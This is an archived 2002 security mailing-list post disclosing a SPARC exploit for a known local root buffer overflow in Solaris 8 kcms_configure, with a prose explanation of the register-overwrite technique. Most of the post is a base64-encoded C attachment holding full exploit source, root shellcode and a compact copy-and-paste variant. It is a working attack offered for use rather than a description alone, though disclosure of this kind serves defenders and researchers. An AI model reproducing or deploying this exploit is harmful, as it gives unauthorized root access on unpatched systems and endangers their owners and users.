Date: Sun, 7 Jul 2002 09:49:51 -0700 (PDT)
From: Adam Slattery <helo@sunriselinux.com>
To: vulnwatch@vulnwatch.org
Subject: sparc exploit for known solaris 8 kcms_configure overflow
Cc: bugtraq@securityfocus.com, vuldb@securityfocus.com,
vuln-dev@securityfocus.com, news@securiteam.com
--0-504522962-1026060591=:40641
Content-Type: TEXT/PLAIN; charset=US-ASCII
See http://www.securityfocus.com/bid/2558 for the published details of the
vulnerability. It's a classic local suid 0 buffer overflow in
kcms_configure on solaris 8 systems. Sun issued a patch a LONG time ago.
Sunsolve patch 111400-01.
This is an old vulnerability (04/2001), but I don't think there are any
published exploits for sparc systems (I could only find i386). It works
with the default addresses on both of the unpatched Solaris 8 systems I
have access to. These were ironically very busy machines with a lot of
users that stay reasonably well patched. I guess the admins didn't realize
they needed the kcms patch, which doesn't say anything about a root
compromise.
DESCRIPTION:
The overflow is in an sprintf() call that occurs when kcms_configure is
called with -o -S blah [>1024 byte string]. The sprintf call is made from
a library in the kcms suite, so this might be exploitable from other
suid kcms tools (but kcms_configure is probalby the most straight
forward). It's a command line buffer overflow that's fairly easy to
control as long as an attacker can keep the program from seg faulting
before the second return (to the address in the overwritten saved i7
register). This is somewhat tricky because _a lot_ of code gets executed
between the overflow and the second return. I'm not sure if I've ever seen
any published sparc exploits deal with this problem (it's not that hard
though). I dealt with it by overwriting the saved l0-l7 and i0-i6[fp]
registers with the address of a string of pointers in memory (found in a
couple of minutes with gdb). If an attacker doesn't do this, various
instructions (notably st, clr) end up trying to use invalid memory and
causing a segmentation fault.
My exploit is well commented, and could probably even be used as a simple
SPARC Solaris exploit tutorial.
relevent links:
http://www.securityfocus.com/bid/2558http://sunsolve.Sun.COM/pub-cgi/retrieve.pl?doc=fpatches/111400
kcms_sparc.c is attached.
- Adam Slattery
--0-504522962-1026060591=:40641
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="kcms_sparc.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSF.4.44.0207070949510.40641@server.sunrise-linux.com>
Content-Description: kcms_sparc.c
Content-Disposition: attachment; filename="kcms_sparc.c"
Lyoga2Ntc19jb25maWd1cmUgLW8gLVMgY29tbWFuZCBsaW5lIGJ1ZmZlciBv
dmVyZmxvdywgU1BBUkMvc29sYXJpcyA4DQogKg0KICogaHR0cDovL3d3dy5z
ZWN1cml0eWZvY3VzLmNvbS9iaWQvMjU1OA0KICoNCiAqIENvZGVkIEp1bmUg
MjIsIDIwMDIgYnkgQWRhbSBTbGF0dGVyeS4gUGhlYXIuIFRoZSB2dWxuZXJh
YmlsaXR5DQogKiB3YXMgZGlzY292ZXJlZCBhIGxvbmcgdGltZSBhZ28gKDA0
LzIwMDEpLCBidXQgdGhlcmUgaGF2ZW4ndCBiZWVuDQogKiBhbnkgcHVibGlz
aGVkIHNwYXJjIGV4cGxvaXRzIGFzIGZhciBhcyBJIGtub3cgKG9ubHkgeDg2
KS4NCiAqDQogKiBBZGFtIFNsYXR0ZXJ5IDxhc2xhdHRlcnlAc3VucmlzZWxp
bnV4LmNvbT4NCiAqDQogKiBERVNDUklQVElPTjoNCiAqDQogKiBUaGUgaTM4
Ni9zb2xhcmlzIDggZXhwbG9pdCBieSBlRXllIChSaWxleSBIYXNzZWxsKSB3
YXMgdHJpdmlhbC4gQQ0KICogc3BhcmMgdmVyc2lvbiBpcyBzb21ld2hhdCBt
b3JlIGNvbXBsaWNhdGVkLCBidXQgbm90IGRhdW50aW5nLiBCZWNhdXNlDQog
KiBvZiB0aGUgbG9jYXRpb24gb2YgdGhlIG92ZXJmbG93IGluIHRoZSBwcm9n
cmFtLCBxdWl0ZSBhIGJpdCBvZiBjb2RlDQogKiBnZXRzIGV4ZWN1dGVkIGJl
Zm9yZSB0aGUgc2Vjb25kIHJldHVybiAod2hpY2ggaXMgdGhlIGp1bXAgdG8N
CiAqIHNoZWxsY29kZSBpbiBhIHNwYXJjIG92ZXJmbG93KS4gU29tZSBvZiB0
aGlzIGNvZGUgcmVsaWVzIG9uIHRoZQ0KICogcmVnaXN0ZXJzIGJlaW5nIHNl
dCwgYW5kIHdlJ3JlIG92ZXJ3cml0aW5nIHRoZSBzYXZlZCByZWdpc3RlcnMN
CiAqIHdoZW4gd2Ugb3ZlcmZsb3cgdGhlIHN0YWNrIGJ1ZmZlci4gVG8gcmVt
ZWR5IHRoaXMgc2l0dWF0aW9uIHdlDQogKiBuZWVkIHRvIG92ZXJmbG93IHRo
ZSBzdGFjayB2ZXJ5IGNhcmVmdWxseSBiZWNhdXNlIGluIHRoZSBwcm9jZXNz
DQogKiBvZiBvdmVyd3JpdGluZyB0aGUgc2F2ZWQgaTcgcmVnaXN0ZXIgKHJl
dHVybiBhZGRyZXNzKSwgd2Ugb3ZlcndyaXRlDQogKiB0aGUgbDAtMDcgYW5k
IGkwLWk2IFtmcF0gcmVnaXN0ZXJzLiBUaGUgY29kZSB0aGF0IGdldHMgZXhl
Y3V0ZWQgYmVmb3JlDQogKiB0aGUgc2Vjb25kIHJldHVybiBtYWtlcyB1c2Ug
b2YgYSBmZXcgb2YgdGhlc2Ugb3ZlcndyaXR0ZW4gcmVnaXN0ZXJzLg0KICog
U28uLi4gd2Ugb3ZlcndyaXRlIHRoZXNlIHNhdmVkIHJlZ2lzdGVycyB3aXRo
IGEgImdvb2QiIGFkZHJlc3MgdGhhdA0KICogcG9pbnRzIHRvIGEgcG9pbnRl
ciwgc28gcHJldHR5IG11Y2ggYW55IGNvZGUgdXNpbmcgdmFsdWVzIGluIHRo
ZQ0KICogcmVnaXN0ZXJzIHdvbid0IHRyeSB0byBhY2Nlc3MgaWxsZWdhbCBt
ZW1vcnkgYW5kIGNhdXNlIGEgc2VnIGZhdWx0Lg0KICogSXQgbWF5IHNvdW5k
IHNrZXRjaHksIGJ1dCBpdCB3b3Jrcy4NCiAqDQogKiBVU0FHRToNCiAqDQog
KiBnY2Mga2Ntc19zcGFyYy5jIC1vIGtjbXNfc3BhcmMNCiAqIC4va2Ntc19z
cGFyYyBbb2Zmc2V0XSBbcHRyIGFkZHJdDQogKg0KICogJCAuL2tjbXNfc3Bh
cmMNCiAqIHJldCBhZGRyZXNzOiAweGZmYmVlNGY4IFszMDM2XSAgcHRyIGFk
ZHJlc3M6IDB4ZmZiZWVjZjggYnVmbGVuOiAxMDg1DQogKiAjIGlkDQogKiB1
aWQ9MChyb290KSBnaWQ9MTAwKHVzZXJzKQ0KICoNCiAqDQogKiBUaGUgZGVm
YXVsdCBvZmZzZXQgKDMwMzYpIHNob3VsZCB3b3JrLiA0ODAwIGFsc28gd29y
a3MuIFJlYWQgdGhlIG5vdGUNCiAqIGJ5IHRoZSBhZGRyZXNzIGNhbGN1bGF0
aW9ucyB0byBzZWUgd2h5ICh0aGVyZSBhcmUgMiBidWZmZXJzKS4gRXZlbg0K
ICogdGhvdWdoIGl0J3MgYSAxMDI0IGJ5dGUgYnVmZmVyLCB0aGVyZSBhcmVu
J3QgdG9vIG1hbnkgbm9wcyBsZWZ0IGluDQogKiB0aGUgc2Vjb25kIGJ1ZmZl
ciB3aGVuIGV2ZXJ5dGhpbmcgaXMgc2V0IHNvIGlmIHlvdSBoYXZlIHRvIHNl
YXJjaA0KICogZm9yIHRoZSBvZmZldCBieSBoYW5kLCB1c2UgaW5jcmVtZW50
cyBvZiA2NC4NCiAqIFRoZSBbcHRyIGFkZHJdIGlzIGFuIGFkZHJlc3MgaW4g
bWVtb3J5IHRoYXQgcG9pbnRzIHRvIGEgcG9pbnRlci4NCiAqIFRoaXMgaXMg
bG9hZGVkIGludG8gc29tZSBvZiB0aGUgcmVnaXN0ZXJzIHRoYXQgZ2V0IHVz
ZWQgYmVmb3JlIHRoZQ0KICogcHJvZ3JhbSBqdW1wcyBpbnRvIHNoZWxsIGNv
ZGUuIElmIHRoZSBkZWZhdWx0ICgweGZmYmVlY2Y4KSBkb2Vzbid0DQogKiB3
b3JrIHlvdSwgeW91IHByb2JhYmx5IHdvbid0IGJlIGFibGUgdG8gbWFrZSBh
IGd1ZXNzLCBzbyB5b3UnbGwNCiAqIGhhdmUgdG8gd2hpcCBvdXQgZ2RiLiBJ
ZiB5b3UgZG9uJ3QgaGF2ZSByMDB0IChtb3N0IGxpa2VseSksIHlvdSdsbA0K
ICogaGF2ZSB0byB1c2UgYSBjb3B5IChub24tc3VpZCkgb2Yga2Ntc19jb25m
aWd1cmUgYW5kIExEX1BSRUxPQUQgYSBsaWINCiAqIHRvIHJldHVybiAwIGZv
ciBnZXRldWlkL2dldGVnaWQgKHNvIGl0IHdvbm4ndCBkZXRlY3QgaXQncyBu
b3QgdWlkIDApLg0KICoNCiAqDQogKiBUaGFua3M6IG9wdHl4LCB0MTIsIHdv
cm1zLCBtaWFoLCBTdW4gTWljcm9zeXN0ZW1zLCBLb2Rhay4uLg0KICoNCiAq
IExhbmdyZXRzIC0gdGhhbmtzIGZvciBtYWtpbmcgbWUgY29va2llcyBhZnRl
ciBJIGhhZCBzdXJnZXJ5LCB3aGljaA0KICogICAgd2FzIHRoZSB3ZWVrIGJl
Zm9yZSBJIGFjdHVhbGx5IHJlbGVhc2VkIHRoaXMuIFRoZXkgdGFzdGVkIDMx
MzM3KysuDQogKg0KICoNCiAqIHJhbmRvbSBncmVldHo6IHhleGVuLCByb2dl
cnMsIGthbnUsIGN5dW4sIGN1YTAsIGRhcCwgZjN0dXMsIHhhaW91LA0KICoJ
CWxhbmdyZXRzLCBqYW5lYm9uZCwgYXBwbGVqYWNrcywgd2lzZG1ja3IzLCBj
Ym8yMDAwDQogKg0KICogc3R1cGlkIHBlb3BsZTogI2xlZ2lvbnMgKGVzcC4g
ZGlnaWVib2xhLCBwcjAwZiwgZ3JpZG1hcmspLA0KICoJCU1JVCwgU3RhbmZv
cmQsIE9saW4gKHRob3NlIGJhc3RhcmRzIGFsbCB0dXJuZWQgbWUgZG93bikN
CiAqLw0KDQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDx1bmlzdGQu
aD4NCg0KLyogc29tZSAucyBhc20gY29kZSB3YXMgdXNlZCBmcm9tIGRvcGVz
cXVhZC5uZXQgKi8NCnVfY2hhciBzaGVsbGNvZGVbXSA9IC8qIGFzbGF0dGVy
eUBzdW5yaXNlbGludXguY29tICovDQoNCi8vc2V0dWlkKDApDQogICJceDkw
XHgxYlx4YzBceDBmIiAvKiB4b3IJJW83LCVvNywlbzAgKi8NCiAgIlx4ODJc
eDEwXHgyMFx4MTciIC8qIG1vdgkyMywlZzEgKi8NCiAgIlx4OTFceGQwXHgy
MFx4MDgiIC8qIHRhCTggKi8NCg0KLyogRm9yIHNvbWUgbWVzc2VkIHVwIHJl
YXNvbiBpdCBkb2Vzbid0IHNlZW0gdG8gd29yayBpZiBpDQogKiB1c2Ugb25l
IG9yIHRoZSBvdGhlciBzeXNjYWxsLCBidXQgaXQgZG9lcyBpZiBpIHVzZSBi
b3RoLiBJDQogKiBkb24ndCBmZWVsIGxpa2UgcGxheWluZyB3aXRoIHNoZWxs
Y29kZSBhbnltb3JlIHJpZ2h0IG5vdywgYW5kDQogKiB0aGlzIHdvcmtzLCBz
byBJIGRvbid0IGNhcmUuDQogKi8NCi8vc2V0cmV1aWQoMCwwKQ0KICAiXHg5
Mlx4MWFceDQwXHgwOSIgLyogeG9yCSVvMSwlbzEsJW8xICovDQogICJceDgy
XHgxMFx4MjBceGNhIiAvKiBtb3YJMjAyLCAlZzEgKi8NCiAgIlx4OTFceGQw
XHgyMFx4MDgiIC8qIHRhCTggKi8NCg0KLy9leGVjKC9iaW4vc2gpDQogICJc
eDIxXHgwYlx4ZDhceDlhIiAvKiBzZXRoaQklaGkoMHgyZjYyNjgwMCksICVs
MCAqLw0KICAiXHhhMFx4MTRceDIxXHg2ZSIgLyogb3IJJWwwLCAweDE2ZSwg
JWwwICEgMHgyZjYyNjk2ZSAqLw0KICAiXHgyM1x4MGJceGRjXHhkYSIgLyog
c2V0aGkJJWhpKDB4MmY3MzY4MDApLCAlbDEgKi8NCiAgIlx4OTBceDIzXHhh
MFx4MTAiIC8qIHN1Ygklc3AsIDE2LCAlbzAgKi8NCiAgIlx4OTJceDIzXHhh
MFx4MDgiIC8qIHN1Ygklc3AsIDgsICVvMSAqLw0KICAiXHg5NFx4MWJceDgw
XHgwZSIgLyogeG9yCSVzcCwgJXNwLCAlbzIgKi8NCiAgIlx4ZTBceDNiXHhi
Zlx4ZjAiIC8qIHN0ZAklbDAsIFslc3AgLSAxNl0gKi8NCiAgIlx4ZDBceDIz
XHhiZlx4ZjgiIC8qIHN0CSVvMCwgWyVzcCAtIDhdICovDQogICJceGMwXHgy
M1x4YmZceGZjIiAvKiBzdAklZzAsIFslc3AgLSA0XSAqLw0KICAiXHg4Mlx4
MTBceDIwXHgzYiIgLyogbW92CTU5LCAlZzEgKi8NCiAgIlx4OTFceGQwXHgy
MFx4MDgiIC8qIHRhCTggKi8NCjsNCg0KdV9jaGFyIE5PUFs0XSA9ICJceGE2
XHgxY1x4YzBceDEzIjsgLyogeG9yICVsMywgJWwzLCAlbDMgKi8NCg0KDQov
KiB3ZSBuZWVkIDEwODUgYnl0ZXMgdG8gb3ZlcndyaXRlIHNhdmVkIGk3ICov
DQovKiB0aGUgdnVsbmVyYWJsZSBidWZmZXIgaXMgYSAxMDI0IGJ5dGVzIGxv
bmcgKi8NCiNkZWZpbmUgQklHQlVGIDEwODYNCg0KLyogT2Zmc2V0cyB0byBz
YXZlZCByZWdpc3RlcnMgaW4gcmVsYXRpb24gdG8gdGhlIGJvdHRvbSBvZiB0
aGUgYnVmZmVyOiAqLw0KI2RlZmluZSBsMF9PRkZTRVQgMTAyNQ0KI2RlZmlu
ZSBpN19PRkZTRVQgMTA4MQ0KDQoNCi8qIGZpZ3VyZSBvdXQgd2hlcmUgdGhl
IHN0YWNrIHN0YXJ0cyBzbyB3ZSBoYXZlIGEgcm91Z2ggZ3Vlc3RpbWF0aW9u
ICovDQp1X2xvbmcgZ2V0X3NwKHZvaWQpDQp7DQogICBfX2FzbV9fKCJtb3Yg
JXNwLCAlaTBcbiIpOw0KfQ0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAq
KmFyZ3YpDQp7DQogICB1X2NoYXIgYnVmW0JJR0JVRis2XTsNCiAgIGludCBp
LCBvZmZzZXQ7DQogICB1X2xvbmcgYWRkcjsNCiAgIHVfbG9uZyBwYWRkcjsN
Cg0KICAgaWYoYXJnYyA+IDEpDQogICAgICBpZighc3RyY21wKGFyZ3ZbMV0s
ICItaCIpIHx8ICFzdHJjbXAoYXJndlsxXSwgIi0taGVscCIpKQ0KICAgICAg
IHsNCiAgICAgICAgIHByaW50ZigiJXMgW3JldGFkZHIgb2Zmc2V0XSBbcHRy
YWRkcl1cbiIsIGFyZ3ZbMF0pOw0KICAgICAgICAgZXhpdCgwKTsNCiAgICAg
ICB9DQoNCiAgIC8qIENhbGN1bGF0ZSB0aGUgcmV0dXJuIGFkZHJlc3MgdG8g
cHV0IGluIGk3Lg0KICAgICogMzAzNiBzaG91bGQgZHVtcCB1cyBpbnRvIHRo
ZSBub3BzIGp1c3QgZmluZS4NCiAgICAqIFdlIGFjdHVhbGx5IGhhdmUgMiBk
aWZmZXJlbnQgd2luZG93cyB3aXRoIGFib3V0IDkwMCBieXRlcw0KICAgICog
b2Ygbm9wcyBlYWNoIGJlY2F1c2UgdGhlIGJ1ZmZlciB3ZSBvdmVyZmxvdyBn
ZXRzIGNvcGllZCBpbnRvDQogICAgKiBhbm90aGVyIDEwMjQgYnl0ZSBidWZm
ZXIgZGlyZWN0bHkgYmVsb3cgaXQgb24gdGhlIHN0YWNrLg0KICAgICogVGhp
cyBhY3R1YWxseSBvdmVyd3JpdGVzIHRoZSBmaXJzdCBjb3VwbGUgaHVuZHJl
ZCBub3BzLA0KICAgICogYnV0IHdlIHN0aWxsIGhhdmUgYSBidW5jaCwgc28g
aXQncyBvay4NCiAgICAqLw0KICAgYWRkciA9IGdldF9zcCgpOw0KICAgaWYo
YXJnYyA+IDEpDQogICAgICBvZmZzZXQgPSBhdG9pKGFyZ3ZbMV0pOw0KICAg
ZWxzZQ0KICAgICAgb2Zmc2V0ID0gMzAzNjsNCiAgIGFkZHIgLT0gb2Zmc2V0
Ow0KDQogICBpZihhcmdjID4gMikNCiAgICAgIHBhZGRyID0gc3RydG91bChh
cmd2WzJdLCBOVUxMLCAwKTsNCiAgIGVsc2UNCiAgICAgIHBhZGRyID0gMHhm
ZmJlZWNmODsgLy8weGZmYmVlM2U4IG1pZ2h0IHdvcmsgdG9vOw0KDQogICBt
ZW1zZXQoYnVmLCAyNTUsIEJJR0JVRik7DQoNCiAgIC8qIENvcHkgTk9QUyB1
bnRpbCB+ODAgYnl0ZXMgYmVmb3JlIHRoZSBlbmQgb2YgdnVsbmJ1ZiAqLw0K
ICAgZm9yKGkgPSAxOyBpIDwgOTQwIDsgaSs9NCkNCiAgICAgIG1lbWNweShi
dWYraSwgTk9QLCA0KTsNCg0KICAgLyogQ29weSBzaGVsbGNvZGUgKi8NCiAg
IG1lbWNweShidWYraSwgc2hlbGxjb2RlLCBzdHJsZW4oc2hlbGxjb2RlKSk7
DQoNCiAgIC8qIGJlY2F1c2Ugc28gbXVjaCBjb2RlIGdldHMgZXhlY3V0ZWQg
YmVmb3JlIHRoZSBzZWNvbmQgcmV0dXJuLCB3ZQ0KICAgICogaGF2ZSB0byBv
dmVyd3JpdGUgdGhlIHN0YWNrIHdpdGggdmVyeSBwcmVjaXNlIGRhdGEuIEZp
bmRpbmcgdGhlDQogICAgKiByaWdodCB2YWx1ZXMgdGFrZXMgc29tZSB0aW1l
IGluIGdkYiwgYnV0IGl0IHR1cm5zIG91dCB3ZSBqdXN0IG5lZWQNCiAgICAq
IGEgdmFsdWUgdGhhdCBwb2ludHMgdG8gc29tZSB2YWxpZCBtZW1vcnkgdGhh
dCBwb2ludHMgc29tZXdoZXJlIGVsc2UuDQogICAgKiBBZGRpdGlvbmFsbHks
IHRoaXMgYWRkcmVzcyArIDggbmVlZHMgdG8gZG8gdGhlIHNhbWUuIFNvIHdl
IG5lZWQgYSANCiAgICAqIHN0cmluZyBvZiBwb2ludGVycyB0byBwb2ludGVy
cy4gTHVja2lseSwgdGhpcyBoYXBwZW5zIHF1aXRlDQogICAgKiBmcmVxdWVu
dGx5IGJ5IGJsaW5kIGx1Y2suIEl0IGp1c3QgdGFrZXMgc29tZSBzZWFyY2hp
bmcgaW4gZ2RiLg0KICAgICoNCiAgICAqIFdlIGp1c3QgZmlsbCBhbGwgdGhl
IHJlZ2lzdGVycyAoZXhjZXB0IGk3KSB3aXRoIHRoaXMgYWRkcmVzcy4gSQ0K
ICAgICogc3RhcnRlZCB3aXRoIGp1c3QgaTEsIGk0LCBhbmQgaTYoZnApLCBh
bmQgdGhpcyB3b3JrZWQgZ3JlYXQNCiAgICAqIHRlc3RpbmcgYXMgYSBub3Jt
YWwgdXNlciwgYnV0IHRoZSBwcm9ncmFtJ3MgZXhlY3V0aW9uIGlzIHNsaWdo
dGx5DQogICAgKiBkaWZmZXJlbnQgd2hlbiBpdCBydW5zIGFzIHJvb3QgKG1r
ZGlyIGRvZXNuJ3QgZmFpbCA6KSwgc28gaXQgd2FzDQogICAgKiBzZWcgZmF1
bHRpbmcgYW5kIGkgY291bGRuJ3QgZmlndXJlIG91dCB3aHkgKGRlYnVnZ2lu
ZyBzdWlkIGJpbmFyaWVzDQogICAgKiBhcyBhIG5vcm1hbCB1c2VyIGlzIGlt
cG9zc2libGUgOikuIFNvIGluc3RlYWQgb2Ygd3JhcHBpbmcgYWxsIHRoZXNl
DQogICAgKiBkYW1uIGxpYnJhcnkgY2FsbHMgdGhyb3VnaCBteSBMRF9QUkVM
T0FEZWQgZ2V0ZXVpZCgpIGxpYnJhcnksIEkNCiAgICAqIHRyaWVkIGZpbGxp
bmcgYWxsIHRoZSByZWdpc3RlcnMuIGIwMG0uIEl0IHdvcmtlZC4NCiAgICAq
Lw0KDQogICAvKiBsMC1sNyBhbmQgaTAtaTYoZnApICovDQogICBmb3IoaT1s
MF9PRkZTRVQgOyBpIDwgaTdfT0ZGU0VUIDsgaSs9NCkNCiAgICAgIG1lbWNw
eSgmYnVmW2ldLCAmcGFkZHIsIDQpOw0KDQogICAvKiBpNywgcmV0dXJuIGFk
ZHJlc3MgKi8NCiAgIG1lbWNweSgmYnVmW2k3X09GRlNFVF0sICZhZGRyLCA0
KTsNCg0KICAgLyogTnVsbCB0ZXJtaW5hdGUgKi8NCiAgIGJ1ZltpN19PRkZT
RVQrNF0gPSAnXDAnOw0KDQogICBwcmludGYoInJldCBhZGRyZXNzOiAweCV4
IFslZF0gIHB0ciBhZGRyZXNzOiAweCV4ICBsZW46ICVkXG4iLCBcDQoJCWFk
ZHIsIG9mZnNldCwgcGFkZHIsIHN0cmxlbihidWYpKTsNCiAgIC8qIGIwMG0h
ICovDQogICBleGVjbCgiL3Vzci9YL2Jpbi9rY21zX2NvbmZpZ3VyZSIsICJw
aW5lIiwgIi1vIiwgIi1TIiwgXA0KCSJibGFoIiwgYnVmLCBOVUxMKTsNCg0K
ICAgcHV0cygiZXhlY2wgZmFpbGVkIik7DQpyZXR1cm4gMDsNCn0NCg0KDQoN
CiNpZmRlZiBVR0xZX0NPUFlfQU5EX1BBU1RFX1ZFUlNJT04NCi8vIEZpdHMg
aW4gYSBzaW5nbGUgdGVybWluYWwgc2NyZWVuLCBtYWtlcyBpdCBlYXNpZXIg
dG8gY29weSZwYXN0ZQ0KLy8gdGhlIGV4cGxvaXQgdG8gYSByZW1vdGUgc3lz
dGVtLiBNYXliZSBJJ20gYmVpbmcgYSBsaXR0bGUgYml0IHRvbw0KLy8gbmlj
ZSB0byB0aGUga2lkZGllcz8gSXQgZXZlbiBoYXMgYSBuaWNlIHNtaWxleSBm
YWNlIDopDQovLyAuLi4gQkVHSU4gLi4uDQoNCiNpbmNsdWRlIDxzdGRpby5o
Pg0KI2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KdV9jaGFyIHNoZWxsY29kZVtd
ID0NCiJceDkwXHgxYlx4YzBceDBmXHg4Mlx4MTBceDIwXHgxN1x4OTFceGQw
XHgyMFx4MDhceDkyXHgxYVx4NDBceDA5Ig0KIlx4ODJceDEwXHgyMFx4Y2Fc
eDkxXHhkMFx4MjBceDA4XHgyMVx4MGJceGQ4XHg5YVx4YTBceDE0XHgyMVx4
NmUiDQoiXHgyM1x4MGJceGRjXHhkYVx4OTBceDIzXHhhMFx4MTBceDkyXHgy
M1x4YTBceDA4XHg5NFx4MWJceDgwXHgwZSINCiJceGUwXHgzYlx4YmZceGYw
XHhkMFx4MjNceGJmXHhmOFx4YzBceDIzXHhiZlx4ZmNceDgyXHgxMFx4MjBc
eDNiIg0KIlx4OTFceGQwXHgyMFx4MDgiOyB1X2NoYXIgTk9QWzRdPSJceGE2
XHgxY1x4YzBceDEzIjsgdV9sb25nDQpnZXRfc3Aodm9pZCl7X19hc21fXygi
bW92ICVzcCwgJWkwXG4iKTt9aW50IG1haW4oaW50IGFjLGNoYXIgKiphdikN
CnsgdV9jaGFyICAgIGJ1ZlsxMDkyXTtpbnQgaSwgICAgb2Zmc2V0OyB1X2xv
bmcgYWRkcjsgdV9sb25nIHBhOw0KaWYoYWM+MSkgICAgaWYoIXN0cmNtcChh
dlsxXSwgICAiLWgiKXx8IXN0cmNtcChhdlsxXSwiLS1oZWxwIikpIHsNCnBy
aW50ZigiJXMgIFtyZXRhZGRyIG9mZnNldF0gICAgW3B0cmFkZHJdXG4iLCBh
dlswXSk7IGV4aXQoMCk7IH0NCmFkZHI9Z2V0X3NwKCk7IGlmKCAgIGFjPjEp
IG9mZnNldD1hdG9pKGF2WzFdKTsgZWxzZSBvZmZzZXQ9MzAzNjsNCmFkZHIt
PW9mZnNldDtpZihhYyAgID4yKXBhPXN0cnRvdWwoYXZbMl0sTlVMTCwwKTtl
bHNlIHBhPTB4ZmZiZWVjZjg7DQptZW1zZXQoYnVmICAgICwyNTUsMTA4Nik7
Zm9yICAgKGk9MTtpPDk0MDtpKz00KSBtZW1jcHkoYnVmK2ksTk9QLDQpOw0K
bWVtY3B5KGJ1ZisgICAgaSxzaGVsbGNvZGUgICAgLHN0cmxlbihzaGVsbGNv
ZGUpKTsgZm9yKGk9MTAyNTtpPDEwODE7DQppKz00KSBtZW1jcHkoICAgICAg
ICAgICAgICAgJmJ1ZltpXSwgJnBhLCA0KTsgbWVtY3B5KCZidWZbMTA4MV0s
DQomYWRkciw0KTtidWZbMTA4NV09J1wwJztwcmludGYoInJldDogMHgleCBb
JWRdIHB0cjogMHgleCBsZW46ICVkXG4iLA0KYWRkcixvZmZzZXQscGEsc3Ry
bGVuKGJ1ZikpOyBleGVjbCgiL3Vzci9YL2Jpbi9rY21zX2NvbmZpZ3VyZSIs
DQoicGluZSIsIi1vIiwiLVMiLCJibGFoIixidWYsTlVMTCk7IHB1dHMoImV4
ZWMgZmFpbGVkIik7IHJldHVybiAwOyB9DQovLyAuLi4gRU5EIC4uLg0KI2Vu
ZGlmDQo=
--0-504522962-1026060591=:40641--
